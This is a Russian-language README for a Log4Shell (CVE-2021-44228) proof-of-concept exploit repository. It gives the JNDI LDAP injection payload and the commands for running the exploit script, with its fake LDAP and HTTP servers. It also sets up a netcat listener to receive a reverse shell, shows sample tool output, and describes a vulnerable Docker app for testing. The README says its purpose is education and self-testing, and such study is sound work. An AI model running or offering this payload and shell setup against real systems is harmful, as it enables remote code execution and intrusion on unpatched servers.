
Доказательство концепции для уязвимости CVE-2021-44228.
Доказательство концепции для недавно обнаруженной уязвимости CVE-2021-44228.
Недавно была обнаружена новая уязвимость в log4j — библиотеке журналирования на Java, широко используемой в таких проектах, как Elasticsearch, Minecraft и многих других.
В этом репозитории представлены пример уязвимого приложения и эксплойт, демонстрирующий уязвимость (POC).
В качестве POC предоставлен Python-скрипт, автоматизирующий процесс.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 и находиться в той же директории.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Этот скрипт настроит HTTP-сервер и LDAP-сервер, а также создаст полезную нагрузку, которую можно вставить в уязвимый параметр. После этого, если всё прошло успешно, вы получите шелл на указанном порту lport.
В репозитории есть Dockerfile с уязвимым веб-приложением. Вы можете использовать его, выполнив следующие шаги:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
После запуска оно будет доступно по адресу localhost:8080.
Oracle любезно предоставляет архив всех предыдущих версий Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Прокрутите вниз до раздела 8u20 и загрузите подходящие файлы для вашей операционной системы и аппаратного обеспечения.

Примечание: Для загрузки пакета необходимо создать учётную запись.
После загрузки и распаковки архива вы найдёте java и несколько связанных бинарных файлов в папке jdk1.8.0_20/bin.
Примечание: Убедитесь, что вы распаковали папку JDK в этот репозиторий с тем же именем, чтобы всё работало.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Этот репозиторий не предназначен для одношагового взлома CVE-2021-44228. Цель проекта — помочь людям изучить эту уязвимость и, возможно, протестировать собственные приложения (хотя для этого существуют более подходящие инструменты, например: https://log4shell.tools/).